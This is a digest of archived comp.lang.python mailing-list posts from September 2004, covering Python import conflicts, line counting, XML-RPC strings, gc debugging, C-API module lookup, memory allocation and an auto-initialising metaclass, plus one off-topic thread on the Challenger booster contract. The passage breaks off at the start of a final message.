From michele.simionato at gmail.com Sun Sep 5 03:32:38 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 5 Sep 2004 00:32:38 -0700 Subject: Module name conflict with standard library References: <87k6v9o8cg.fsf@news2.ososo.de> Message-ID: <4edc17eb.0409042332.5730eed7@posting.google.com> Felix Wiemann wrote in message news:<87k6v9o8cg.fsf at news2.ososo.de>... > Hi! > > I want to create a module myproject.ui.curses, which needs to import the > curses library. > > However, if I just write ``import curses``, the module imports *itself* > instead of the standard library's curses module. > > Is there any (reliable) way to access a module of the standard library > if the names conflict as in this case? > > Thank you in advance, > Felix Wiemann Dunno. I guess that when PEP328 will be fully implemented (this is NOT the case in 2.4.a3) from __future__ import absolute_import import curses will do the right thing, importing the standard library module and not itself (which should happen with "import .curses"). Am I correct? I do really really like PEP328 since I was bitten by this kind of problems myself in the past. Will it be implemented fully in time for 2.4.b1? Michele Simionato From tim.golden at viacom-outdoor.co.uk Mon Sep 6 06:06:15 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Mon, 6 Sep 2004 11:06:15 +0100 Subject: built-in function- module name clash Message-ID: | Hi, | | I've a python script using somecalls to the abs() built-in function. | | Now, I have to import a module named 'abs' too... Surprising to find a module with the same name as a built-in function! Simplest thing is to rename the module on import: import abs as absmodule ... absmodule.blah (x, y) if abs (x-y) == z: blah TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From __peter__ at web.de Thu Sep 30 03:22:09 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 30 Sep 2004 09:22:09 +0200 Subject: List rotation References: Message-ID: M. Clift wrote: > If the list ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would > of course give('d', 'b', 'a' etc... > > What I'm looking for is that say if trans = 1, then the list would become > ('b', 'a', 'c', 'b', 'a', 'd', 'c') . > For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a') def make_trans(items, n): return dict(zip(items, items[n:] + items[:n])) def transform(items, trans): return [trans[item] for item in items] for i in range(4): print "N =", i, transform("adbadcb", make_trans("abcd", i)) Is that it? Peter From zanesdad at bellsouth.net Tue Sep 28 22:20:58 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Tue, 28 Sep 2004 22:20:58 -0400 Subject: annoying behavior In-Reply-To: <0on6d.1653$TY2.18@lakeread04> References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <0on6d.1653$TY2.18@lakeread04> Message-ID: <415A1C0A.2060902@bellsouth.net> Steve Holden wrote: > elbertlev at hotmail.com wrote: > >> ----- Original Message ----- >> From: "Jeremy Jones" >> To: "Elbert Lev" >> Cc: >> Sent: Tuesday, September 28, 2004 1:13 PM >> Subject: Re: annoying behavior >> >> Jeremy! >> >> Sure it would be nice if a the interpreter would give a warning before >> really instantiating the instance of class foo (at least in "debug" >> mode). >> In my case the error happened after the program ran about 30 minutes. >> I do >> not think this is impossible. > > > If not thinking something impossible actually made it possible then it > would be possible for me to ignore this thread rather than responding > to it. > > Next you'll be asking us to modify the compiler so it produces an > error if someone feeds it a program that never terminates. > > If your program ran for 30 minutes before this quite-obvious bug > appeared then I should suggest you do some serious reading on the > subjects of unit-testing and test-first programming. > > Alternatively, look for a language with DWIM-mode :-) > > regards > Steve I'm going out on a limb here, but is it _possible_ that you imported the module that contained the offending class, then 30 minutes later an instance of said offending class was created? Here's your response to Daniel Dittmar: I think, it would be good, if some sort of warning is given during import, but not during instantiating the instance of the class. At least in a "debug" mode. What really did happen: the bug was reported after the scrip was running for 30 minutes. PyCheck finds it immediatelly. Why not to do the same kind of check in the interpreter? Here, you're complaining about no warning being given at import. This error would not have been manifest at import time, but at instantiation time. And to your point, "It would be nice for the interpreter to give a warning before really creating an instance of the class, at least in debug....".... I recommend that you take Steves advice on unit testing. Or, you could put try: except: blocks around every instance of any class you create :-) No, it is _not_ impossible for the interpreter to do that, but what all do you want it to check? Maybe I want it to call all of my methods with some parameters specified somehow in docstrings and make sure no errors occur. What you're asking is really general. Too general, I think, for new functionality to be placed in the interpreter. Thus Steve's recommendation for unit testing. If you write good unit tests, there's your verification in "debug" mode. You run your tests as you're developing. That way, you can target your specific needs and you don't pay _any_ penalty at runtime. Jeremy From danb_83 at yahoo.com Tue Sep 21 20:11:22 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 21 Sep 2004 17:11:22 -0700 Subject: Why not FP for Money? References: <10l0lpt9n0n5k9c@news.supernews.com> Message-ID: "John Roth" wrote in message news:<10l0lpt9n0n5k9c at news.supernews.com>... > "Chris Barker" wrote in message > news:cc887c1d.0409202325.76ec2227 at posting.google.com... > > Hi all, > > > > I promise this is not a troll... Really, it's embarassing, because > > this is one Engineer that DID take a Numerical Analysis course, and > > from William Kahan, no less, and I still don't really get it. (and > > yes, Alex, I could have gotten my degree without it) > > It seems your course didn't make the one crucial distinction > that should be written in letters of fire at the start of every > discussion of floating point. > > Floating point arithmetic is useful for continuous quantities, > or quantities that are measured (as in weighed, etc.) Integers > (and rationals) are useful for things that are counted, which > includes currency units, but also includes anything else that > comes in discrete units (apples and oranges, for instance). And the confusion comes from the fact that money is pretty much the only thing that uses "continuous quantity" decimal-point notation to represent a discrete thing. But what about countries like Japan and (even more so) Turkey where the currency units are so small that you never use fractions of them? Do programmers there talk less about floating-point error? From janimal at mail.trillegaarden.dk Mon Sep 20 15:58:30 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Mon, 20 Sep 2004 21:58:30 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> Message-ID: <414f3629$0$25964$ba624c82@nntp03.dk.telia.net> Thanks for explaining it that well, really makes sense now :) Cheers.... "Andrew Dalke" wrote in message news:ekE3d.648$g42.95 at newsread3.news.pas.earthlink.net... > Ling Lee wrote: >> 2) I made the first part like this: >> >> in_file = raw_input("What is the name of the file you want to open: ") >> in_file = open("test.txt","r") >> text = in_file.read() > > You have two different objects related to the file. > One is the filename (the result of calling raw_input) and > the other is the file handle (the result of calling open). > You are using same variable name for both of them. You > really should make them different. > > First you get the file name and reference it by the variable > named 'in_file'. Next you use another filename ("test.txt") > for the open call. This returns a file handle, but not > a file handle to the file named in 'in_file'. > > You then change things so that 'in_file' no longer refers > to the filename but now refers to the file handle. > > A nicer solution is to use one variable name for the name > (like "in_filename") and another for the handle (you can > keep "in_file" if you want to). In the following I > reformatted it so the example fits in under 80 colums > > in_filename = raw_input("What is the name of the file " > "you want to open: ") > in_file = open(in_filename,"r") > text = in_file.read() > > > Now the in_file.read() reads all of the file into memory. There > are several ways to count the number of lines. The first is > to count the number of newline characters. Because the newline > character is special, it's most often written as what's called > an escape code. In this case, "\n". Others are backspace ("\b") > and beep ("\g"), and backslash ("\\") since otherwise there's > no way to get the single character "\". > > Here's how to cound the number of newlines in the text > > num_lines = text.count("\n") > > print "There are", num_lines, "in", in_filename > > > This will work for almost every file except for one where > the last line doesn't end with a newline. It's rare, but > it does happen. To fix that you need to see if the > text ends with a newline and if it doesn't then add one > more to the count > > > num_lines = text.count("\n") > if not text.endswith("\n"): > num_lines = num_lines + 1 > > print "There are", num_lines, "in", in_filename > > >> 3) I think that I have to use a for loop ( something like >> for line in text: count +=1) > > Something like that will work. When you say "for xxxx in string" > it loops through every character in the string, and not > every line. What you need is some way to get the lines. > > One solution is to use the 'splitlines' method of strings. > This knows how to deal with the "final line doesn't end with > a newline" case and return a list of all the lines. You > can use it like this > > count = 0 > for line in text.splitlines(): > count = count + 1 > > or, since splitlines() returns a list of lines you can > also do > > count = len(text.splitlines()) > > It turns out that reading lines from a file is very common. > When you say "for xxx in file" it loops through every line > in the file. This is not a list so you can't say > > len(open(in_filename, "r")) # DOES NOT WORK > > instead you need to have the explicit loop, like this > > count = 0 > for line in open(in_filename, "r")): > count = count + 1 > > An advantage to this approach is that it doesn't read > the whole file into memory. That's only a problems > if you have a large file. Try counting the number of > lines in a 1.5 GB file! > > By the way, the "r" is the default for the a file open. > Most people omit it from the parameter list and just use > > open(in_filename) > > Hope this helped! > > By the way, you might want to look at the "Beginner's > Guide to Python" page at http://python.org/topics/learn/ . > It has pointers to resources that might help, including > the tutor mailing list meant for people like you who > are learning to program in Python. > > Andrew > dalke at dalkescientific.com From peter at engcorp.com Thu Sep 16 21:07:37 2004 From: peter at engcorp.com (phansen) Date: Thu, 16 Sep 2004 21:07:37 -0400 Subject: XML_RPC and unicode problems In-Reply-To: References: <7bf84d19.0409161548.521da358@posting.google.com> Message-ID: Greg Hamilton wrote: > Thomas wrote: >> What I've come to believe is that XML_RPC automatically assumes any >> strings it transfers are unicode and thusly tries to do conversions on >> these strings. Therefore, is there any way to keep XML_RPC from doing >> unicode conversions, or is there some way for me to just pass raw data >> over XML_RPC without having to worry about it? >> > http://www.xmlrpc.com/spec > > Have a look at the data type. Disclaimer: I haven't used XML-RPC yet. I looked at the above site, and noted this particular text in the explanatory section below the very lightweight "spec": """Q. What characters are allowed in strings? Non-printable characters? Null characters? Can a "string" be used to hold an arbitrary chunk of binary data? A. Any characters are allowed in a string except < and &, which are encoded as < and &. A string can be used to encode binary data. """ Seems to me that description is inadequate, if one has to revert to to pass through a string with an \xa0 in it. I did a search and found this page from Fredrik Lundh, which seems to be more clear on the whole thing, clearer even than the updated spec which simply removed a previous reference to ASCII: http://effbot.org/zone/xmlrpc-errata.htm -Peter From aleaxit at yahoo.com Wed Sep 1 08:35:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 14:35:31 +0200 Subject: PYTHON API : add new classes in a module from an other module References: Message-ID: <1gjfuip.1az63wl1i1yrmpN%aleaxit@yahoo.com> mathieu gontier wrote: ... > foo_module = Py_GetModule( "FOO" ) ; > if( ! foo_module ) return ; ... > So, my question is : does it exist in the Python API, a equivalent > function of "Py_GetModule( )" (that a have invented for > the example !) ; > or does an other solution exist in order to do the same think ? There is no direct way to "get a module named this way if it is already imported otherwise do nothing". PyImport_AddModule comes close, but it will return an empty module (and insert it into sys.modules too...) in the 'otherwise' case. PyImport_GetModuleDict returns sys.module to you as a PyObject* (borrowed reference, so no worry about needing to decref it later), and then you can call PyDict_GetItemString on it -- the latter DOES return 0 without setting and exception if the string isn't a key in the dictionary, so overall it may come closest to your desires even though you do need a two-calls sequence. Summarizing, then: { PyObject* sys_modules = PyImport_GetModuleDict(); PyObject* foo_module = PyDict_GetItemString(sys_modules, "FOO"); if(!foo_module) return; /* use foo_module freely here, do not decref it when you're done */ } Alex From roo at try-removing-this.darkboong.demon.co.uk Sat Sep 4 12:40:39 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Sat, 04 Sep 2004 17:40:39 +0100 Subject: Xah Lee's Unixism In-Reply-To: References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> Message-ID: <1094316038.770020@teapot.planet.gong> Coby Beck wrote: > "Rupert Pigott" wrote in > message news:1094285694.404322 at teapot.planet.gong... > >>Larry Elmore wrote: >> >>>Rupert Pigott wrote: >> >>[SNIP] >> >> >>>http://www.ae.utexas.edu/~lehmanj/ethics/srb.htm >>> >>>"Competition for the SRB Contract" >>> >>>"Four companies bid for the contract to design and manufacture the solid >>>rocket boosters (SRBs). Aerojet Solid bid the program at $655 million, >>>United Technologies at $710 million, Morton Thiokol at $710 million, and >>>Lockheed at $714 million. All the bids were relatively similar in both >>>price and technology. Based on cost, the NASA advisory panel recommended >>>that the contract be awarded to Aerojet; they believed that money could >>>be saved without sacrificing technical quality by choosing the lowest >>>bid. NASA administrator Dr. James Fletcher overruled this recommendation >> >>[SNIP] >> >>Even if hypothetically superior Aerojet boosters were used I would >>bet a life's salary that mismanagement would nail them in the end... > > > You will never understand past mistakes with an attitude like that.."Oh > well, who knows? It could have been worse!" That's not it at all : It's a recognition of the sickness in the safety culture that existed. >>Consider this : If the tables were turned and an Aerojet booster >>exploded in the sky I'll bet the armchair QBs would be asking why >>were Aerojet chosen over Morton-Thiokol who had more experience of >>building large solid-fuel rockets. > > > And there would have been a clear answer: they had the lowest bid and a > committee responsible for technical evaluation approved them. You would get accusations that the tech.eval was approving them to cut corners in the budget... AFAICT MT had more experience of building that kind of gadget at the time. Don't get me wrong : M-T & NASA fucked up, I'm not defending them. I'm just a bit wary of pinning it on the choice of maker when in fact it seems to be a cultural sickness that eventually led to a *predictable* and *preventable* catastrophic failure. Cheers, Rupert From velman at cox.net Tue Sep 28 12:29:38 2004 From: velman at cox.net (John Velman) Date: Tue, 28 Sep 2004 09:29:38 -0700 Subject: Tkinter measurements References: <41591e47$0$25116$8fcfb975@news.wanadoo.fr> Message-ID: On Tue, 28 Sep 2004 10:26:01 +0200, Eric Brunel wrote: > John Velman wrote: >> I want to draw a box around a short piece of text in canvas (one line >> text). I know how to do it if I place the text on the canvas first,then >> draw the box around it. >> >> Is there a way to find out the dimensions of the text bounding box before >> drawing it? > > First: why do you want to do that? The most used method is to draw the > text before, get its bounding box, then draw the box. Why do you want to > do the opposite? > That's a good question, all right. I'm restarting in Python something I'd originally started in perl with Perl/TK. In my perl original my code was pretty unstructured, and in redoing I decided to modularize (which Python makes a lot easier!). Without going into my whole possibly misbegotten concept, my original idea for modules seemed to require knowing the text size. Probably a better design will let me do the text, then the box as you suggest. Sometimes I get hung up on a certain problem (in this case, getting the text size before drawing it) and can't seem to move on until I have a solution. Thanks for the good information about TkFont module, and the point sized pseudo pixels! And for the question "why?" Best, John Velman [snip] From tim.peters at gmail.com Tue Sep 7 14:22:30 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 7 Sep 2004 14:22:30 -0400 Subject: gc.get_referrers trouble In-Reply-To: References: Message-ID: <1f7befae04090711227ae85f72@mail.gmail.com> [Diez B. Roggisch] > I'm in the process of debugging a mem-leaking app. A recent thread here on > c.l.py mentioned the use of the gc module, so I gave it a try. > > However, using get_referrers() yields in literally thousands of objects for > even the tiniest example like this: > > import gc > a = [1] > print gc.get_referrers(1) > > Running that from bash gives me this: > > # python /tmp/test.py | wc > 23 7196 67165 That just shows the number of lines (etc) of output, not how many objects refer to 1. len(gc.get_referrers(1)) would tell you how many container objects refer to 1. Little integers happen to be shared in CPython, so there are likely to be referrers you don't know about. I expect there are several dozen objects total that refer to 1, but not more than that. Pick a larger number to match your "intuition" better: >>> len(gc.get_referrers(82938732)) 1 >>> > Now I'm confused - how do I interpret the results of get_referrers() > correctly? Start by not printing it as a string . It's a list of container objects. The string representation of any one of those objects can arbitrarily large. A better start would be to download one of the test.py scripts for Zope, and use a debug build. There's a TrackRefs class defined in test.py that displays deltas in object counts (by type) across calls to its update() method. Typical is to use that to find out which kinds of objects are growing at an unreasonable rate, then fiddle the guts of the TrackRefs class (via calls to things like gc.get_referrers -- depends on where the evidence leads you) to zero in on a cause. From benji at benjiyork.com Sat Sep 25 21:48:41 2004 From: benji at benjiyork.com (Benji York) Date: 25 Sep 2004 18:48:41 -0700 Subject: Access to MS SQL from Linux? References: Message-ID: Tim Golden wrote in message news:... > I'm certainly interested; any chance of your putting them up > on a website somewhere? It's in alpha state, but you can download it at http://benjiyork.com/odbtp.html. If the instructions are unclear or even missing something, let me know. Any volunteers to help build a test suite, finish up some rough edges, or help with packaging would be appreciated. (Five geek points to everyone that can identify the background image on that page.) -- Benji York From tim.peters at gmail.com Thu Sep 30 00:27:17 2004 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 30 Sep 2004 00:27:17 -0400 Subject: constructing binary backslash-n In-Reply-To: <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> References: <1f7befae04092919484211a3bb@mail.gmail.com> <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> Message-ID: <1f7befae04092921277752f20a@mail.gmail.com> [Steven Arnold] > Something seemed to screw up my message, putting two backslashes > everywhere I put only one. That probably led to your confusion. It > seems that Jeff may have been similarly confused. I'll try again. > > I want to be able to receive a letter like 'n', let's say as user > input, and generate the single byte escape value of backslash-n or > ASCII 10, as a string of length 1. If the user provided the letter > 'r', I would return a string one character long, for which > ord(my_string) == 13. This should be equivalent to the string > 'r'. OK, but I still want to know what the notation \[a-z] meant in your original message. The two examples you gave here are very special, because backslash + n and backlash + r are two of the few two-letter sequences that *have* a special meaning in Python (or C) strings. If the letter is, for example, z, what do you want then? backslash + z doesn't mean anything special to anyone. The only letters that have special meaning after a backslash are: a b f n r t v x and backslash + x all alone raises ValueError. From siggy2 at supereva.it Tue Sep 28 06:56:53 2004 From: siggy2 at supereva.it (PiErre) Date: 28 Sep 2004 03:56:53 -0700 Subject: little bug in python 2.3.4 silent installation on windows? Message-ID: <33a15593.0409280256.60ffb84d@posting.google.com> Hi, I used to install python 2.2 with the option /s (silent) on win2k server. Now I migrated to python 2.3 (Python-2.3.4.exe) and it seems to me that in all the registry values the drive is missing EG: under HKEY_CLASSES_ROOT\Python.NoConFile\DefaultIcon The (Default) values I found is \Python23\Py.ico instead of the one that I have if I perform a non-silent installation C:\Python23\Py.ico (it was C:\Python22\Py.ico in the silent python 22 inst) May anyone confirm me this is a Python-2.3.4.exe bug? bye, PiErre From steven.bethard at gmail.com Fri Sep 17 16:32:26 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 17 Sep 2004 20:32:26 +0000 (UTC) Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: Bengt Richter oz.net> writes: > On Fri, 17 Sep 2004 07:46:12 +0000 (UTC), I wrote: > > > >f = lambda args: body > > > >is equivalent to > > > >def f(args): body > > Yes, but > > obj.f = lambda args: body > > is possible without an intermediate local binding of f that might clobber a > previous f Yeah, I probably should have been clear about that. If 'f' is really just a name (as it was in my example) the two syntaxes I gave are equivalent. If 'f' really isn't just a name, then you do still want an anonymous function. In the OP's example though, 'f' really was just a name. > Well, if lambda is removed (or not , I hope an anonymous def expression is > allowed... Well, it's come up a number of times (one of the more recent is http://mail.python.org/pipermail/python-list/2004-June/226714.html), but it doesn't seem like there was any agreement on (a) what it should look like, or (b) why having such anonymous defs was such a gain over named defs. If you'd like to champion a PEP about it... ;) Steve From heikowu at ceosg.de Tue Sep 21 07:07:03 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Tue, 21 Sep 2004 13:07:03 +0200 Subject: need help defining Constant memory requirement In-Reply-To: <1f7befae040920131118bf3a75@mail.gmail.com> References: <200409201020.33427.heikowu@ceosg.de> <1f7befae040920131118bf3a75@mail.gmail.com> Message-ID: <200409211307.03721.heikowu@ceosg.de> Am Montag, 20. September 2004 22:11 schrieb Tim Peters: > def finddup(iterable): > result = 0 > for i, x in enumerate(iterable): > result ^= i ^ x > return result Erm... Shouldn't this function be: def finddup(it): result = 0 for i, x in enumerate(it): result ^= i ^ x return result ^ i Because in ( 1 ^ 1 ) ^ ( 2 ^ 2 ) ... ^ ( (n-1) ^ (n-1) ) ^ ( x ^ n ) all terms zero out except the last one. So, basically what you get is x ^ n, and x ^ ( n ^ n ) = x... Guess that was just a typo... ;) Heiko. From pwatson at redlinepy.com Fri Sep 3 11:10:14 2004 From: pwatson at redlinepy.com (Paul Watson) Date: Fri, 3 Sep 2004 10:10:14 -0500 Subject: print with no newline References: <2prasrFo4rruU1@uni-berlin.de> Message-ID: <2prfqoFnv1laU1@uni-berlin.de> "Peter Otten" <__peter__ at web.de> wrote in message news:ch9vhg$n35$01$1 at news.t-online.com... > Paul Watson wrote: > > > I thought that using a comma at the end of a print statement would > > suppress > > printing of a newline. Am I misunderstanding this feature? How can I use > > print and not have a newline appended at the end? > > I thought that, too. It turns out that Python writes an additional newline > on exit if the softspace flag is set. So > > $ python -c "import sys; print 'here',; sys.stdout.softspace = False" > > tmp.txt > $ od -c tmp.txt > 0000000 h e r e > 0000004 > > is a viable if ugly workaround. > > Peter Many thanks for pointing out File.softspace attribute. However, I get mixed results when using it. I am sure there is some logic to it somewhere. It does not appear to control the end of line. The online doc says that it controls putting a space -before- another value. The File.softspace.__doc__ string appears to need review also. I think I am ready to use File.write() and move on. C:\src\projects\test1>type eoltest.py #!/usr/bin/env python import sys print 'here', 'and' sys.stdout.softspace = False print 'here', 'and' sys.stdout.softspace = True print 'here', 'and' sys.stdout.softspace = False print 'there', C:\src\projects\test1>eoltest.py here and here and here and there C:\src\projects\test1>eoltest.py >jjj C:\src\projects\test1>od -c -tx1 jjj 0000000 h e r e a n d \r \n h e r e a 68 65 72 65 20 61 6e 64 0d 0a 68 65 72 65 20 61 0000020 n d \r \n h e r e a n d \r \n t 6e 64 0d 0a 20 68 65 72 65 20 61 6e 64 0d 0a 74 0000040 h e r e \r \n 68 65 72 65 0d 0a 0000046 C:\src\projects\test1>python -c "import sys;print sys.stdout.softspace.__doc__" int(x[, base]) -> integer Convert a string or number to an integer, if possible. A floating point argument will be truncated towards zero (this does not include a string representation of a floating point number!) When converting a string, use the optional base. It is an error to supply a base when converting a non-string. If the argument is outside the integer range a long object will be returned instead. From tim.peters at gmail.com Mon Sep 20 02:29:46 2004 From: tim.peters at gmail.com (Tim Peters) Date: Mon, 20 Sep 2004 02:29:46 -0400 Subject: memory allocation In-Reply-To: References: Message-ID: <1f7befae04091923292bde5c50@mail.gmail.com> [Tim Peters] >> You can build Python without pymalloc. I've never done that myself, >> so am not sure how to do it. Could be that passing --with-pymalloc=no >> would suffice. [benevilent at optusnet.com.au] > I have built with this option, but to no avail. Then the Python you built was not using pymalloc. I suppose you could confirm that by setting breakpoints in pymalloc and noting that they're never hit (or noting that the debugger won't let you set breakpoints there anymore, because the pymalloc code no longer exists!). > I can provide a sample c program (which has it's virtual memory size expand > and contract dynamically), and a similar python program for which this does > not occur. If you're not using pymalloc anymore, then you're trying to out-guess the behavior of your specific platform C's malloc/free system, and how it interacts with your specific platform's operating system. There's no guarantee that "returning" memory to the platform free() has any effect on "the memory used by the program" as reported by the OS. Indeed, if you have turned pymalloc off, Python itself is just another C program using malloc and free. I'm not interested in staring at your platform C+OS, but I'll note that it's common as mud, across many platforms, to return memory to free() and see no effect on reported VM size. As I said before, the behavior here is typically very complex, depending on exact traces of when malloc() and free() are called, on the exact arguments passed to them, and on myriad details of how malloc/free are implemented on your platform. It's not actually interesting to find a C program where "it works", the interesting bit is finding C programs where "it doesn't work", because the latter show the platform's weaknesses. A common pattern, extended to exhaustion to make a point: malloc(big_number) malloc(little_number) malloc(big_number) malloc(little_number) malloc(big_number) malloc(little_number) ... repeat until you run out of VM This can fragment address space so badly that returning *all* the memory allocated by the "big_number" calls nevertheless leaves allocated little pieces scattered across the entire virtual address space. So long as the little pieces remain allocated, there's nothing that even a fiercely determined malloc/free could do to return any part of the address space to the OS. In real life, malloc/free typically don't try hard at all to return space to the OS, burning just a few cycles after a free() to see whether it's obviously possible to do. That's easily frustrated. Depending on your platform C library, you may or may not be able to ask its malloc to show you a map of allocated and available regions. If you can, you'll probably find a fragmented address space. Figuring out "why" it's fragmented is another big job, and then it may or may not be possible to rearrange computations to avoid the cause(s) discovered. There's rarely an easy answer to one of these. From ialbert at mailblocks.com Mon Sep 6 17:28:54 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 06 Sep 2004 17:28:54 -0400 Subject: Ramanujan & Python In-Reply-To: References: Message-ID: <7eOdnXhhbMoBS6HcRVn-uA@giganews.com> barnesc at engr.orst.edu wrote: > Spectacular, no? Not really. I'm might sound a bit of off topic here I but I consider both of these as 'cheapo' tricks that only sound good on paper (and to reporters): 'Look Ma the man can compute the sum of two cubes in a flash' 1**3 is 1, all he needed to know is that 12**3 is 1728 Similarly knowing that 10**3 is 1000 is trivial, all he needed to know is that 9**3 is 729. Just as with squared values whenever one works with cubes they will tune very quickly in and start recognize the first 20 or so by heart in a matter of minutes... Istvan. From aleaxit at yahoo.com Thu Sep 2 03:13:56 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 2 Sep 2004 09:13:56 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com> Message-ID: <1gjg9tm.14a3nqg36zs8fN%aleaxit@yahoo.com> Alex Martelli wrote: ... > > Anyway, in C++, if I write a library with a class like Class1, I can create > > a default constructor to initialize all the members with default values if > > there is no need for non-default values. C++ gives me that possibility. A > > user of my library (who will never know me) can use this library and does > > not need to know anything about the Class1 constructor. This is consistent Sure DOES "have to know something about Class1 constructor": specifically that Class1 has a public default constructor, a crucial piece of information. How CAN you POSSIBLY assert otherwise?! > > with the principle of encapsulation, so subclasses don't need to know > > anything about how the superclass is implemented. > > Encapsulation does not mean you can use a class without knowing its > public methods (including constructors). In particular, inheritance is > a strong coupling, and the superclass must document if it's meant to be > inherited from, with what constructors, what virtual methods allowable > for override, and so on. Incidentally, FAR from your assertion that, in C++, "subclasses don't need to know anything about how the superclass is implemented", reality is just the other way 'round. Subclasses have to be _intimately familiar_ with key aspects of superclasses' implementation -- not just the interface (which fully includes the "little detail" of whether a class has a default ctor or not!!!), but specifically _implementation_ issues, such as what private member names the superclass uses for its own implementation purposes. That's because C++ fatally tries to support encapsulation via _accessibility_, NOT through _visibility_. If the subclass unwittingly tries using a member name which the superclass is already using privately, it just won't compile; if the superclass adds any private names to its implementation from one release to another, it will "break all user code" which quite correctly tried to use that name (and previously managed w/o problems!) for one of its members -- as you say. *THIS* is poor encapsulation (Python's attempt to solve this issue with __-mangling doesn't work wonders, though it's [a little] better than nothing -- but this should show that the issue of coupling between superclass and subclass is far more serious than you imply by asserting that it's solved by C++'s "implicit" rule that if no other call to a superclass's ctor appears with a subclass's ctor, this implies a call to the subclass's default ctor). > > I think this IS a case where "implicit is better than explicit". > > No way: by implicitly trying to call a parent class's default ctor in ... > maybe I'll find the time to take a break and show you the custom > metaclass you need to perpetrate this horror, since you state it's > "better" than Python's explicitness -- no promises tho... Here it is -- now feel free to damage yourself at will with your conviction that this (calling superclass ctors) "IS a case" where implicit is better. I decided I can reuse this as a Cookbook recipe, after all!-) As an aside, note that, while Python doesn't _quite_ "give you enough rope to shoot yourself in the foot" by default, it sure provides excellent rope-manufacturing facilities, sufficient to riddle both of your feet with bullets with the addition of *a few lines* of support code...: def _no_auto(obj): pass class metaAutoInit(type): def __call__(cls, *a, **k): obj = cls.__new__(cls, *a, **k) for base in cls.mro(): base.__dict__.get('__auto__', _no_auto)(obj) cls.__init__(obj, *a, **k) return obj You could save a statement if you wished to have __auto__ methods called after __init__ methods (if any) -- then, rather than the two statements, one to call __new__ and make the empty obj (before calling __auto__ methods), the other after such calling to do the __init__, you could make an already-inited obj with "obj=type.__call__(cls, *a, **k)" at the start. But I suspect one would want the auto-initialization to happen before the explicit one, if any, so I showed how to do that. Anyway, be it 8 nonblack lines like here, or 7 otherwise, I hope you agree it's a _trivially little amount of code_ for this amount of meta-functionality, and the amount of damage (if I'm right) or benefit (if you're right) it can bring to your Python usage. In this recipe, __auto__ methods are called on classes in MRO order, i.e., leaf first. Don't like that, want reverse-MRO order? Fine, change the 'for' header to loop on cls.mro()[::-1], or, in Python 2.4, on the more readable reversed(cls.mro()). This metaclass is designed to silently tolerate base classes without __auto__, treating such absence as an indication that a given class wants no auto-initialization -- I think it's the only sensible choice, but if you disagree, add to the metaclass a def __new__ where it screams and shouts if a class belonging to it has no '__auto__' in its class dictionary, or if that __auto__ has incorrect signature (check the signature with the functions of standard library module inspect) -- better to do that at class-statement time than every time the class gets instantiated (unless you suspect the user will delight in silently deleting __auto__ entries from class objects at runtime, of course...). Ah, one last note: we have to use base.__dict__ here, not getattr, else a class without __auto__ might inherit __auto__ from a superclass and that __auto__ would end up getting executed twice, which is probably not what one normally wants. Anyway, here's an example of using this custom metaclass: if __name__ == '__main__': # just show off a bit... __metaclass__ = metaAutoInit class a: pass class b: def __auto__(self): self.foo=[] class c(a): def __auto__(self): self.bar={} class d: pass class e(b, c, d): def __auto__(self): self.baz=c() z = e() print z.__dict__ This emits: {'bar': {}, 'foo': [], 'baz': <__main__.c object at 0x58350>} There, happy now? Be as implicit as you desire, as long as I don't ever have to be the one maintaining that code or consulting about it -- I've served my term with C++, and finally emerged in the bright and fresh land of Python, where simplicity, explicitnes, and clarity are VIRTUES. (My wife agrees to the point that we had the Zen of Python among the readings at our recent wedding, as I mentioned [with a pointer to the URLs for our marriage readings & photos] in a recent thread...). Alex From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 18 03:25:19 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Sat, 18 Sep 2004 09:25:19 +0200 Subject: Database->python->Xml->Xslt->Client References: <4c900ea0.0409172237.3e5abf25@posting.google.com> Message-ID: Hi ! It is an architecture "en vogue" ; but AMHA, XML is verbose. @-salutations -- Michel Claveau From jepler at unpythonic.net Mon Sep 13 08:39:46 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Mon, 13 Sep 2004 